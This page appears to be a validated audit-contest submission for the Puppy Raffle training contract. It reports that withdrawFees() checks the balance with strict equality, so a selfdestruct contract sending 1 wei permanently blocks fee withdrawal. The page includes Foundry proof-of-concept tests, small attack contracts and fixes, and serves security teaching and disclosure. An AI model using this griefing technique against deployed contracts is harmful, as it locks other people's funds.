Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Griefing Attack on withdrawFees() via Forced ETH Send

dparaste48

Root + Impact

The withdrawFees() function uses strict equality check (==) instead of greater-than-or-equal (>=) when comparing the contract balance to totalFees. An attacker can send 1 wei to the contract via selfdestruct, permanently preventing fee withdrawal at minimal cost.

Description

Describe the normal behavior in one or more sentences:

  • The fee address should be able to withdraw accumulated fees when no raffle is active

  • The withdrawal should succeed when the contract has sufficient balance to cover the fees

Explain the specific issue or problem in one or more sentences:

  • The withdrawFees() function requires address(this).balance == uint256(totalFees) with strict equality

  • An attacker can create a contract with 1 wei and call selfdestruct(payable(puppyRaffle)) to forcibly send ETH

  • This makes address(this).balance > totalFees, causing the equality check to fail permanently

  • The attack costs only 1 wei plus gas, while locking all accumulated fees

// @ src/PuppyRaffle.sol:157-163
function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
// Strict equality - vulnerable to griefing
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}(\"\");
require(success, \"PuppyRaffle: Failed to withdraw fees\");
}

Risk

Likelihood:
Reason 1: Can be executed by anyone with minimal cost (1 wei plus gas)
Reason 2: Can be repeated indefinitely to maintain the lock

Impact:
Impact 1: All accumulated fees become permanently locked in the contract
Impact 2: Asymmetric griefing attack where attacker spends pennies to lock potentially large amounts

Proof of Concept

Place the following test in test/AuditTest.t.sol:

function testGriefingWithdrawFees() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
// Attacker sends 1 wei via selfdestruct
SelfDestructAttack attackContract = new SelfDestructAttack(address(puppyRaffle));
vm.deal(address(attackContract), 1 ether);
attackContract.attack{value: 1 wei}();
// withdrawFees now permanently fails
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
​
contract SelfDestructAttack {
address target;
constructor(address _target) {
target = _target;
}
function attack() external payable {
selfdestruct(payable(target));
}
}

Run with: forge test --mt testGriefingWithdrawFees -vv

The test passes, confirming the griefing attack works.

Recommended Mitigation

Use greater-than-or-equal comparison and check for active players properly:

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: Insufficient balance");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}(\"\");
require(success, \"PuppyRaffle: Failed to withdraw fees\");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!